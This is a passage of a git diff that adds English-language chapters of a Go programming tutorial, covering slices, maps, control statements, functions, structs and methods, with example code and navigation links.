0-based + arr[1] = 13 // assign value to element + fmt.Printf("The first element is %d\n", arr[0]) // get element value, it returns 42 + fmt.Printf("The last element is %d\n", arr[9]) //it returns default value of 10th element in this array, which is 0 in this case. + +Because length is a part of the array type, `[3]int` and `[4]int` are different types, so we cannot change the length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references, you may want to use `slice`. We'll talk about later. + +It's possible to use `:=` when you define arrays. + + a := [3]int{1, 2, 3} // define an int array with 3 elements + + b := [10]int{1, 2, 3} // define a int array with 10 elements, of which the first three are assigned. The rest of them use the default value 0. + + c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you. + +You may want to use arrays as arrays' elements. Let's see how to do this. + + // define a two-dimensional array with 2 elements, and each element has 4 elements. + doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + + // The declaration can be written more concisely as follows. + easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} + +Array underlying data structure. + +![](images/2.2.array.png?raw=true) + +Figure 2.2 Multidimensional array mapping relationship + +### slice + +In many situations, the array type is not a good choice -for instance when we don't know how long the array will be when we define it. Thus, we need a "dynamic array". This is called `slice` in Go. + +`slice` is not really a `dynamic array`. It's a reference type. `slice` points to an underlying `array` whose declaration is similar to `array`, but doesn't need length. + + // just like defining an array, but this time, we exclude the length. + var fslice []int + +Then we define a `slice`, and initialize its data. + + slice := []byte {'a', 'b', 'c', 'd'} + +`slice` can redefine existing slices or arrays. `slice` uses `array[i:j]` to slice, where `i` is the start index and `j` is end index, but notice that `array[j]` will not be sliced since the length of the slice is `j-i`. + + // define an array with 10 elements whose types are bytes + var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + + // define two slices with type []byte + var a, b []byte + + // 'a' points to elements from 3rd to 5th in array ar. + a = ar[2:5] + // now 'a' has elements ar[2],ar[3] and ar[4] + + // 'b' is another slice of array ar + b = ar[3:5] + // now 'b' has elements ar[3] and ar[4] + +Notice the differences between `slice` and `array` when you define them. We use `[…]` to let Go calculate length but use `[]` to define slice only. + +Their underlying data structure. + +![](images/2.2.slice.png?raw=true) + +Figure 2.3 Correspondence between slice and array + +slice has some convenient operations. + +- `slice` is 0-based, `ar[:n]` equals to `ar[0:n]` +- The second index will be the length of `slice` if omitted, `ar[n:]` equals to `ar[n:len(ar)]`. +- You can use `ar[:]` to slice whole array, reasons are explained in first two statements. + +More examples pertaining to `slice` + + // define an array + var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + // define two slices + var aSlice, bSlice []byte + + // some convenient operations + aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c + aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j + aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements + + // slice from slice + aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 + bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f + bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f + bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h + bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g + +`slice` is a reference type, so any changes will affect other variables pointing to the same slice or array. For instance, in the case of `aSlice` and `bSlice` above, if you change the value of an element in `aSlice`, `bSlice` will be changed as well. + +`slice` is like a struct by definition and it contains 3 parts. + +- A pointer that points to where `slice` starts. +- The length of `slice`. +- Capacity, the length from start index to end index of `slice`. + + Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + Slice_a := Array_a[2:5] + +The underlying data structure of the code above as follows. + +![](images/2.2.slice2.png?raw=true) + +Figure 2.4 Array information of slice + +There are some built-in functions for slice. + +- `len` gets the length of `slice`. +- `cap` gets the maximum length of `slice` +- `append` appends one or more elements to `slice`, and returns `slice` . +- `copy` copies elements from one slice to the other, and returns the number of elements that were copied. + +Attention: `append` will change the array that `slice` points to, and affect other slices that point to the same array. Also, if there is not enough length for the slice (`(cap-len) == 0`), `append` returns a new array for this slice. When this happens, other slices pointing to the old array will not be affected. + +### map + +`map` behaves like a dictionary in Python. Use the form `map[keyType]valueType` to define it. + +Let's see some code. The 'set' and 'get' values in `map` are similar to `slice`, however the index in `slice` can only be of type 'int' while `map` can use much more than that: for example `int`, `string`, or whatever you want. Also, they are all able to use `==` and `!=` to compare values. + + // use string as the key type, int as the value type, and `make` initialize it. + var numbers map[string] int + // another way to define map + numbers := make(map[string]int) + numbers["one"] = 1 // assign value by key + numbers["ten"] = 10 + numbers["three"] = 3 + + fmt.Println("The third number is: ", numbers["three"]) // get values + // It prints: The third number is: 3 + +Some notes when you use map. + +- `map` is disorderly. Everytime you print `map` you will get different results. It's impossible to get values by `index` -you have to use `key`. +- `map` doesn't have a fixed length. It's a reference type just like `slice`. +- `len` works for `map` also. It returns how many `key`s that map has. +- It's quite easy to change the value through `map`. Simply use `numbers["one"]=11` to change the value of `key` one to `11`. + +You can use form `key:val` to initialize map's values, and `map` has built-in methods to check if the `key` exists. + +Use `delete` to delete an element in `map`. + + // Initialize a map + rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } + // map has two return values. For the second return value, if the key doesn't exist,'ok' returns false. It returns true otherwise. + csharpRating, ok := rating["C#"] + if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) + } else { + fmt.Println("We have no rating associated with C# in the map") + } + + delete(rating, "C") // delete element with key "c" + +As I said above, `map` is a reference type. If two `map`s point to same underlying data, any change will affect both of them. + + m := make(map[string]string) + m["Hello"] = "Bonjour" + m1 := m + m1["Hello"] = "Salut" // now the value of m["hello"] is Salut + +### make, new + +`make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`, while `new` is for types' memory allocation. + +`new(T)` allocates zero-value to type `T`'s memory, returns its memory address, which is the value of type `*T`. By Go's definition, it returns a pointer which points to type `T`'s zero-value. + +`new` returns pointers. + +The built-in function `make(T, args)` has different purposes than `new(T)`. `make` can be used for `slice`, `map`, and `channel`, and returns a type `T` with an initial value. The reason for doing this is because the underlying data of these three types must be initialized before they point to them. For example, a `slice` contains a pointer that points to the underlying `array`, length and capacity. Before these data are initialized, `slice` is `nil`, so for `slice`, `map` and `channel`, `make` initializes their underlying data and assigns some suitable values. + +`make` returns non-zero values. + +The following picture shows how `new` and `make` are different. + +![](images/2.2.makenew.png?raw=true) + +Figure 2.5 Underlying memory allocation of make and new + +Zero-value does not mean empty value. It's the value that variables default to in most cases. Here is a list of some zero-values. + + int 0 + int8 0 + int32 0 + int64 0 + uint 0x0 + rune 0 // the actual type of rune is int32 + byte 0x0 // the actual type of byte is uint8 + float32 0 // length is 4 byte + float64 0 //length is 8 byte + bool false + string "" + +## Links + +- [Directory](preface.md) +- Previous section: ["Hello, Go"](02.1.md) +- Next section: [Control statements and functions](02.3.md) diff --git a/de/02.3.md b/de/02.3.md new file mode 100644 index 00000000..7a53f80b --- /dev/null +++ b/de/02.3.md @@ -0,0 +1,516 @@ +# 2.3 Control statements and functions + +In this section, we are going to talk about control statements and function operations in Go. + +## Control statement + +The greatest invention in programming is flow control. Because of them, you are able to use simple control statements that can be used to represent complex logic. There are three categories of flow control: conditional, cycle control and unconditional jump. + +### if + +`if` will most likely be the most common keyword in your programs. If it meets the conditions, then it does something and it does something else if not. + +`if` doesn't need parentheses in Go. + + if x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than or equal to 10") + } + +The most useful thing concerning `if` in Go is that it can have one initialization statement before the conditional statement. The scope of the variables defined in this initialization statement are only available inside the block of the defining `if`. + + // initialize x, then check if x greater than + if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") + } else { + fmt.Println("x is less than 10") + } + + // the following code will not compile + fmt.Println(x) + +Use if-else for multiple conditions. + + if integer == 3 { + fmt.Println("The integer is equal to 3") + } else if integer < 3 { + fmt.Println("The integer is less than 3") + } else { + fmt.Println("The integer is greater than 3") + } + +### goto + +Go has a `goto` keyword, but be careful when you use it. `goto` reroutes the control flow to a previously defined `label` within the body of same code block. + + func myFunc() { + i := 0 + Here: // label ends with ":" + fmt.Println(i) + i++ + goto Here // jump to label "Here" + } + +The label name is case sensitive. + +### for + +`for` is the most powerful control logic in Go. It can read data in loops and iterative operations, just like `while`. + + for expression1; expression2; expression3 { + //... + } + +`expression1`, `expression2` and `expression3` are all expressions, where `expression1` and `expression3` are variable definitions or return values from functions, and `expression2` is a conditional statement. `expression1` will be executed once before looping, and `expression3` will be executed after each loop. + +Examples are more useful than words. + + package main + import "fmt" + + func main(){ + sum := 0; + for index:=0; index < 10 ; index++ { + sum += index + } + fmt.Println("sum is equal to ", sum) + } + // Print:sum is equal to 45 + +Sometimes we need multiple assignments, but Go doesn't have the `,` operator, so we use parallel assignment like `i, j = i + 1, j - 1`. + +We can omit `expression1` and `expression3` if they are not necessary. + + sum := 1 + for ; sum < 1000; { + sum += sum + } + +Omit `;` as well. Feel familiar? Yes, it's identical to `while`. + + sum := 1 + for sum < 1000 { + sum += sum + } + +There are two important operations in loops which are `break` and `continue`. `break` jumps out of the loop, and `continue` skips the current loop and starts the next one. If you have nested loops, use `break` along with labels. + + for index := 10; index>0; index-- { + if index == 5{ + break // or continue + } + fmt.Println(index) + } + // break prints 10、9、8、7、6 + // continue prints 10、9、8、7、6、4、3、2、1 + +`for` can read data from `slice` and `map` when it is used together with `range`. + + for k,v:=range map { + fmt.Println("map's key:",k) + fmt.Println("map's val:",v) + } + +Because Go supports multi-value returns and gives compile errors when you don't use values that were defined, you may want to use `_` to discard certain return values. + + for _, v := range map{ + fmt.Println("map's val:", v) + } + +### switch + +Sometimes you may find that you are using too many `if-else` statements to implement some logic, which may make it difficult to read and maintain in the future. This is the perfect time to use the `switch` statement to solve this problem. + + switch sExpr { + case expr1: + some instructions + case expr2: + some other instructions + case expr3: + some other instructions + default: + other code + } + +The type of `sExpr`, `expr1`, `expr2`, and `expr3` must be the same. `switch` is very flexible. Conditions don't have to be constants and it executes from top to bottom until it matches conditions. If there is no statement after the keyword `switch`, then it matches `true`. + + i := 10 + switch i { + case 1: + fmt.Println("i is equal to 1") + case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") + case 10: + fmt.Println("i is equal to 10") + default: + fmt.Println("All I know is that i is an integer") + } + +In the fifth line, we put many values in one `case`, and we don't need to add the `break` keyword at the end of `case`'s body. It will jump out of the switch body once it matched any case. If you want to continue to matching more cases, you need to use the`fallthrough` statement. + + integer := 6 + switch integer { + case 4: + fmt.Println("integer <= 4") + fallthrough + case 5: + fmt.Println("integer <= 5") + fallthrough + case 6: + fmt.Println("integer <= 6") + fallthrough + case 7: + fmt.Println("integer <= 7") + fallthrough + case 8: + fmt.Println("integer <= 8") + fallthrough + default: + fmt.Println("default case") + } + +This program prints the following information. + + integer <= 6 + integer <= 7 + integer <= 8 + default case + +## Functions + +Use the `func` keyword to define a function. + + func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { + // function body + // multi-value return + return value1, value2 + } + +We can extrapolate the following information from the example above. + +- Use keyword `func` to define a function `funcName`. +- Functions have zero, one or more than one arguments. The argument type comes after the argument name and arguments are separated by `,`. +- Functions can return multiple values. +- There are two return values named `output1` and `output2`, you can omit their names and use their type only. +- If there is only one return value and you omitted the name, you don't need brackets for the return values. +- If the function doesn't have return values, you can omit the return parameters altogether. +- If the function has return values, you have to use the `return` statement somewhere in the body of the function. + +Let's see one practical example. (calculate maximum value) + + package main + import "fmt" + + // return greater value between a and b + func max(a, b int) int { + if a > b { + return a + } + return b + } + + func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) // call function max(x, y) + max_xz := max(x, z) // call function max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // call function here + } + +In the above example, there are two arguments in the function `max`, their types are both `int` so the first type can be omitted. For instance, `a, b int` instead of `a int, b int`. The same rules apply for additional arguments. Notice here that `max` only has one return value, so we only need to write the type of its return value -this is the short form of writing it. + +### Multi-value return + +One thing that Go is better at than C is that it supports multi-value returns. + +We'll use the following example here. + + package main + import "fmt" + + // return results of A + B and A * B + func SumAndProduct(A, B int) (int, int) { + return A+B, A*B + } + + func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) + } + +The above example returns two values without names -you have the option of naming them also. If we named the return values, we would just need to use `return` to return the values since they are initialized in the function automatically. Notice that if your functions are going to be used outside of the package, which means your function names start with a capital letter, you'd better write complete statements for `return`; it makes your code more readable. + + func SumAndProduct(A, B int) (add int, Multiplied int) { + add = A+B + Multiplied = A*B + return + } + +### Variable arguments + +Go supports variable arguments, which means you can give an uncertain numbers of argument to functions. + + func myfunc(arg ...int) {} + +`arg …int` tells Go that this is a function that has variable arguments. Notice that these arguments are type `int`. In the body of function, the `arg` becomes a `slice` of `int`. + + for _, n := range arg { + fmt.Printf("And the number is: %d\n", n) + } + +### Pass by value and pointers + +When we pass an argument to the function that was called, that function actually gets the copy of our variables so any change will not affect to the original variable. + +Let's see one example in order to prove what i'm saying. + + package main + import "fmt" + + // simple function to add 1 to a + func add1(a int) int { + a = a+1 // we change value of a + return a // return new value of a + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // should print "x = 3" + + x1 := add1(x) // call add1(x) + + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 3" + } + +Can you see that? Even though we called `add1` with `x`, the origin value of `x` doesn't change. + +The reason is very simple: when we called `add1`, we gave a copy of `x` to it, not the `x` itself. + +Now you may ask how I can pass the real `x` to the function. + +We need use pointers here. We know variables are stored in memory and they have some memory addresses. So, if we want to change the value of a variable, we must change its memory address. Therefore the function `add1` has to know the memory address of `x` in order to change its value. Here we pass `&x` to the function, and change the argument's type to the pointer type `*int`. Be aware that we pass a copy of the pointer, not copy of value. + + package main + import "fmt" + + // simple function to add 1 to a + func add1(a *int) int { + *a = *a+1 // we changed value of a + return *a // return new value of a + } + + func main() { + x := 3 + + fmt.Println("x = ", x) // should print "x = 3" + + x1 := add1(&x) // call add1(&x) pass memory address of x + + fmt.Println("x+1 = ", x1) // should print "x+1 = 4" + fmt.Println("x = ", x) // should print "x = 4" + } + +Now we can change the value of `x` in the functions. Why do we use pointers? What are the advantages? + +- Allows us to use more functions to operate on one variable. +- Low cost by passing memory addresses (8 bytes), copy is not an efficient way, both in terms of time and space, to pass variables. +- `string`, `slice`, `map` are reference types, so they use pointers when passing to functions by default. (Attention: If you need to change the length of `slice`, you have to pass pointers explicitly) + +### defer + +Go has a well designed keyword called `defer`. You can have many `defer` statements in one function; they will execute in reverse order when the program executes to the end of functions. In the case where the program opens some resource files, these files would have to be closed before the function can return with errors. Let's see some examples. + + func ReadWrite() bool { + file.Open("file") + // Do some work + if failureX { + file.Close() + return false + } + + if failureY { + file.Close() + return false + } + + file.Close() + return true + } + +We saw some code being repeated several times. `defer` solves this problem very well. It doesn't only help you to write clean code but also makes your code more readable. + + func ReadWrite() bool { + file.Open("file") + defer file.Close() + if failureX { + return false + } + if failureY { + return false + } + return true + } + +If there are more than one `defer`s, they will execute by reverse order. The following example will print `4 3 2 1 0`. + + for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) + } + +### Functions as values and types + +Functions are also variables in Go, we can use `type` to define them. Functions that have the same signature can be seen as the same type. + + type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...]) + +What's the advantage of this feature? The answer is that it allows us to pass functions as values. + + package main + import "fmt" + + type testInt func(int) bool // define a function type of variable + + func isOdd(integer int) bool { + if integer%2 == 0 { + return false + } + return true + } + + func isEven(integer int) bool { + if integer%2 == 0 { + return true + } + return false + } + + // pass the function `f` as an argument to another function + + func filter(slice []int, f testInt) []int { + var result []int + for _, value := range slice { + if f(value) { + result = append(result, value) + } + } + return result + } + + func main(){ + slice := []int {1, 2, 3, 4, 5, 7} + fmt.Println("slice = ", slice) + odd := filter(slice, isOdd) // use function as values + fmt.Println("Odd elements of slice are: ", odd) + even := filter(slice, isEven) + fmt.Println("Even elements of slice are: ", even) + } + +It's very useful when we use interfaces. As you can see `testInt` is a variable that has function type, and return values and arguments of `filter` are the same as `testInt`. Therefore, we can have complex logic in our programs, while maintaining flexibility in our code. + +### Panic and Recover + +Go doesn't have `try-catch` structure like Java does. Instead of throwing exceptions, Go uses `panic` and `recover` to deal with errors. However, you shouldn't use `panic` very much, although it's powerful. + +Panic is a built-in function to break the normal flow of programs and get into panic status. When a function `F` calls `panic`, `F` will not continue executing but its `defer` functions will continue to execute. Then `F` goes back to the break point which caused the panic status. The program will not terminate until all of these functions return with panic to the first level of that `goroutine`. `panic` can be produced by calling `panic` in the program, and some errors also cause `panic` like array access out of bounds errors. + +Recover is a built-in function to recover `goroutine`s from panic status. Calling `recover` in `defer` functions is useful because normal functions will not be executed when the program is in the panic status. It catches `panic` values if the program is in the panic status, and it gets `nil` if the program is not in panic status. + +The following example shows how to use `panic`. + + var user = os.Getenv("USER") + + func init() { + if user == "" { + panic("no value for $USER") + } + } + +The following example shows how to check `panic`. + + func throwsPanic(f func()) (b bool) { + defer func() { + if x := recover(); x != nil { + b = true + } + }() + f() // if f causes panic, it will recover + return + } + +### `main` function and `init` function + +Go has two retentions which are called `main` and `init`, where `init` can be used in all packages and `main` can only be used in the `main` package. These two functions are not able to have arguments or return values. Even though we can write many `init` functions in one package, I strongly recommend writing only one `init` function for each package. + +Go programs will call `init()` and `main()` automatically, so you don't need to call them by yourself. For every package, the `init` function is optional, but `package main` has one and only one `main` function. + +Programs initialize and begin execution from the `main` package. If the `main` package imports other packages, they will be imported in the compile time. If one package is imported many times, it will be only compiled once. After importing packages, programs will initialize the constants and variables within the imported packages, then execute the `init` function if it exists, and so on. After all the other packages are initialized, programs will initialize constants and variables in the `main` package, then execute the `init` function inside the package if it exists. The following figure shows the process. + +![](images/2.3.init.png?raw=true) + +Figure 2.6 Flow of programs initialization in Go + +### import + +We use `import` very often in Go programs as follows. + + import( + "fmt" + ) + +Then we use functions in that package as follows. + + fmt.Println("hello world") + +`fmt` is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways. + +1. Relative path + import "./model" // load package in the same directory, I don't recommend this way. +2. Absolute path + import "shorturl/model" // load package in path "$GOPATH/pkg/shorturl/model" + +There are some special operators when we import packages, and beginners are always confused by these operators. + +1. Dot operator. + Sometime we see people use following way to import packages. + + import( + . "fmt" + ) + + The dot operator means you can omit the package name when you call functions inside of that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`. +2. Alias operation. + It changes the name of the package that we imported when we call functions that belong to that package. + + import( + f "fmt" + ) + + Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`. +3. `_` operator. + This is the operator that is difficult to understand without someone explaining it to you. + + import ( + "database/sql" + _ "github.com/ziutek/mymysql/godrv" + ) + + The `_` operator actually means we just want to import that package and execute its `init` function, and we are not sure if want to use the functions belonging to that package. + +## Links + +- [Directory](preface.md) +- Previous section: [Go foundation](02.2.md) +- Next section: [struct](02.4.md) diff --git a/de/02.4.md b/de/02.4.md new file mode 100644 index 00000000..37475678 --- /dev/null +++ b/de/02.4.md @@ -0,0 +1,214 @@ +# 2.4 struct + +## struct + +We can define new types of containers of other properties or fields in Go just like in other programming languages. For example, we can create a type called `person` to represent a person, with fields name and age. We call this kind of type a `struct`. + + type person struct { + name string + age int + } + +Look how easy it is to define a `struct`! + +There are two fields. + +- `name` is a `string` used to store a person's name. +- `age` is a `int` used to store a person's age. + +Let's see how to use it. + + type person struct { + name string + age int + } + + var P person // p is person type + + P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p + P.age = 25 // assign 25 to field 'age' of p + fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p + +There are three more ways to define a struct. + +- Assign initial values by order + + P := person{"Tom", 25} + +- Use the format `field:value` to initialize the struct without order + + P := person{age:24, name:"Bob"} + +- Define an anonymous struct, then initialize it + + P := struct{name string; age int}{"Amy",18} + +Let's see a complete example. + + package main + import "fmt" + + // define a new type + type person struct { + name string + age int + } + + // compare the age of two people, then return the older person and differences of age + // struct is passed by value + func Older(p1, p2 person) (person, int) { + if p1.age>p2.age { + return p1, p1.age-p2.age + } + return p2, p2.age-p1.age + } + + func main() { + var tom person + + // initialization + tom.name, tom.age = "Tom", 18 + + // initialize two values by format "field:value" + bob := person{age:25, name:"Bob"} + + // initialize two values with order + paul := person{"Paul", 43} + + tb_Older, tb_diff := Older(tom, bob) + tp_Older, tp_diff := Older(tom, paul) + bp_Older, bp_diff := Older(bob, paul) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff) + + fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff) + } + +### embedded fields in struct + +I've just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but with types. We call these embedded fields. + +When the embedded field is a struct, all the fields in that struct will implicitly be the fields in the struct in which it has been embdedded. + +Let's see one example. + + package main + import "fmt" + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // embedded field, it means Student struct includes all fields that Human has. + specialty string + } + + func main() { + // initialize a student + mark := Student{Human{"Mark", 25, 120}, "Computer Science"} + + // access fields + fmt.Println("His name is ", mark.name) + fmt.Println("His age is ", mark.age) + fmt.Println("His weight is ", mark.weight) + fmt.Println("His specialty is ", mark.specialty) + // modify notes + mark.specialty = "AI" + fmt.Println("Mark changed his specialty") + fmt.Println("His specialty is ", mark.specialty) + // modify age + fmt.Println("Mark become old") + mark.age = 46 + fmt.Println("His age is", mark.age) + // modify weight + fmt.Println("Mark is not an athlet anymore") + mark.weight += 60 + fmt.Println("His weight is", mark.weight) + } + +![](images/2.4.student_struct.png?raw=true) + +Figure 2.7 Inheritance in Student and Human + +We see that we can access the age and name fields in Student just like we can in Human. This is how embedded fields work. It's very cool, isn't it? Hold on, there's something cooler! You can even use Student to access Human in this embedded field! + + mark.Human = Human{"Marcus", 55, 220} + mark.Human.age -= 1 + +All the types in Go can be used as embedded fields. + + package main + import "fmt" + + type Skills []string + + type Human struct { + name string + age int + weight int + } + + type Student struct { + Human // struct as embedded field + Skills // string slice as embedded field + int // built-in type as embedded field + specialty string + } + + func main() { + // initialize Student Jane + jane := Student{Human:Human{"Jane", 35, 100}, specialty:"Biology"} + // access fields + fmt.Println("Her name is ", jane.name) + fmt.Println("Her age is ", jane.age) + fmt.Println("Her weight is ", jane.weight) + fmt.Println("Her specialty is ", jane.specialty) + // modify value of skill field + jane.Skills = []string{"anatomy"} + fmt.Println("Her skills are ", jane.Skills) + fmt.Println("She acquired two new ones ") + jane.Skills = append(jane.Skills, "physics", "golang") + fmt.Println("Her skills now are ", jane.Skills) + // modify embedded field + jane.int = 3 + fmt.Println("Her preferred number is", jane.int) + } + +In the above example, we can see that all types can be embedded fields and we can use functions to operate on them. + +There is one more problem however. If Human has a field called `phone` and Student has a field with same name, what should we do? + +Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field `overload`ing. + + package main + import "fmt" + + type Human struct { + name string + age int + phone string // Human has phone field + } + + type Employee struct { + Human // embedded field Human + specialty string + phone string // phone in employee + } + + func main() { + Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} + fmt.Println("Bob's work phone is:", Bob.phone) + // access phone field in Human + fmt.Println("Bob's personal phone is:", Bob.Human.phone) + } + +## Links + +- [Directory](preface.md) +- Previous section: [Control statements and functions](02.3.md) +- Next section: [Object-oriented](02.5.md) diff --git a/de/02.5.md b/de/02.5.md new file mode 100644 index 00000000..cc50b8af --- /dev/null +++ b/de/02.5.md @@ -0,0 +1,307 @@ +# Object-oriented + +We talked about functions and structs in the last two sections, but did you ever consider using functions as fields of a struct? In this section, I will introduce you to another form of function that has a receiver, which is called `method`. + +## method + +Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve this goal. + + package main + import "fmt" + + type Rectangle struct { + width, height float64 + } + + func area(r Rectangle) float64 { + return r.width*r.height + } + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + fmt.Println("Area of r1 is: ", area(r1)) + fmt.Println("Area of r2 is: ", area(r2)) + } + +The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice. + +It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names. + +![](images/2.5.rect_func_without_receiver.png?raw=true) + +Figure 2.8 Relationship between function and struct + +Obviously that's not cool. Also, the area should really be the property of a circle or rectangle. + +For those reasons, we have the `method` concept. `method` is affiliated with type. It has the same syntax as functions do except for an additional parameter after the `func` keyword called the `receiver`, which is the main body of that method. + +Using the same example, `Rectangle.area()` belongs directly to rectangle, instead of as a peripheral function. More specifically, `length`, `width` and `area()` all belong to rectangle. + +As Rob Pike said. + + "A method is a function with an implicit first argument, called a receiver." + +Syntax of method. + + func (r ReceiverType) funcName(parameters) (results) + +Let's change our example using `method` instead. + + package main + import ( + "fmt" + "math" + ) + + type Rectangle struct { + width, height float64 + } + + type Circle struct { + radius float64 + } + + func (r Rectangle) area() float64 { + return r.width*r.height + } + + func (c Circle) area() float64 { + return c.radius * c.radius * math.Pi + } + + func main() { + r1 := Rectangle{12, 2} + r2 := Rectangle{9, 4} + c1 := Circle{10} + c2 := Circle{25} + + fmt.Println("Area of r1 is: ", r1.area()) + fmt.Println("Area of r2 is: ", r2.area()) + fmt.Println("Area of c1 is: ", c1.area()) + fmt.Println("Area of c2 is: ", c2.area()) + } + +Notes for using methods. + +- If the name of methods are the same but they don't share the same receivers, they are not the same. +- Methods are able to access fields within receivers. +- Use `.` to call a method in the struct, the same way fields are called. + +![](images/2.5.shapes_func_with_receiver_cp.png?raw=true) + +Figure 2.9 Methods are different in different structs + +In the example above, the area() methods belong to both Rectangle and Circle respectively, so the receivers are Rectangle and Circle. + +One thing that's worth noting is that the method with a dotted line means the receiver is passed by value, not by reference. The difference between them is that a method can change its receiver's values when the receiver is passed by reference, and it gets a copy of the receiver when the receiver is passed by value. + +Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types. + +Use the following format to define a customized type. + + type typeName typeLiteral + +Examples of customized types: + + type ages int + + type money float32 + + type months map[string]int + + m := months { + "January":31, + "February":28, + ... + "December":31, + } + +I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example. + +Let's get back to talking about `method`. + +You can use as many methods in custom types as you want. + + package main + import "fmt" + + const( + WHITE = iota + BLACK + BLUE + RED + YELLOW + ) + + type Color byte + + type Box struct { + width, height, depth float64 + color Color + } + + type BoxList []Box //a slice of boxes + + func (b Box) Volume() float64 { + return b.width * b.height * b.depth + } + + func (b *Box) SetColor(c Color) { + b.color = c + } + + func (bl BoxList) BiggestsColor() Color { + v := 0.00 + k := Color(WHITE) + for _, b := range bl { + if b.Volume() > v { + v = b.Volume() + k = b.color + } + } + return k + } + + func (bl BoxList) PaintItBlack() { + for i, _ := range bl { + bl[i].SetColor(BLACK) + } + } + + func (c Color) String() string { + strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"} + return strings[c] + } + + func main() { + boxes := BoxList { + Box{4, 4, 4, RED}, + Box{10, 10, 1, YELLOW}, + Box{1, 1, 20, BLACK}, + Box{10, 10, 1, BLUE}, + Box{10, 30, 1, WHITE}, + Box{20, 20, 20, YELLOW}, + } + + fmt.Printf("We have %d boxes in our set\n", len(boxes)) + fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") + fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String()) + fmt.Println("The biggest one is", boxes.BiggestsColor().String()) + + fmt.Println("Let's paint them all black") + boxes.PaintItBlack() + fmt.Println("The color of the second one is", boxes[1].color.String()) + + fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String()) + } + +We define some constants and customized types. + +- Use `Color` as alias of `byte`. +- Define a struct `Box` which has fields height, width, length and color. +- Define a struct `BoxList` which has `Box` as its field. + +Then we defined some methods for our customized types. + +- Volume() uses Box as its receiver and returns volume of Box. +- SetColor(c Color) changes Box's color. +- BiggestsColor() returns the color which has the biggest volume. +- PaintItBlack() sets color for all Box in BoxList to black. +- String() use Color as its receiver, returns the string format of color name. + +Is it much clearer when we use words to describe our requirements? We often write our requirements before we start coding. + +### Use pointer as receiver + +Let's take a look at `SetColor` method. Its receiver is a pointer of Box. Yes, you can use `*Box` as a receiver. Why do we use a pointer here? Because we want to change Box's color in this method. Thus, if we don't use a pointer, it will only change the value inside a copy of Box. + +If we see that a receiver is the first argument of a method, it's not hard to understand how it works. + +You might be asking why we aren't using `(*b).Color=c` instead of `b.Color=c` in the SetColor() method. Either one is OK here because Go knows how to interpret the assignment. Do you think Go is more fascinating now? + +You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `PaintItBlack` because we pass a pointer to `SetColor`. Again, either one is OK because Go knows how to interpret it! + +### Inheritance of method + +We learned about inheritance of fields in the last section. Similarly, 